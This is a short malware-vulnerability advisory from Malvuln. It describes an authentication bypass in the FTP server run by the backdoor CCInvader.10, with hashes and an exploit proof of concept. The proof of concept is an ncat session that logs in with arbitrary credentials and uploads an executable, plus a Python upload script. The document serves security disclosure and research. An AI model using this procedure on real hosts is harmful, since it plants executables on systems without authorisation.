Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/cb86af8daa35f6977c80814ec6e40d63.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln  

Threat: Backdoor.Win32.CCInvader.10
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: CCInvader
Type: PE32
MD5: cb86af8daa35f6977c80814ec6e40d63
SHA256: 8420788f3a575cade5f579bcbf56bb67566bca27c2b9d11dbbafffadef491f31
Vuln ID: MVID-2024-0694
Disclosure: 09/17/2024

Exploit/PoC:
ncat64.exe 192.168.18.125 21
220 ICS FTP Server ready
USER gg
331 Password required for gg
PASS gg
230 User gg logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
PWD
257 "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,243,249).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=62457   #243 x 256 + 249
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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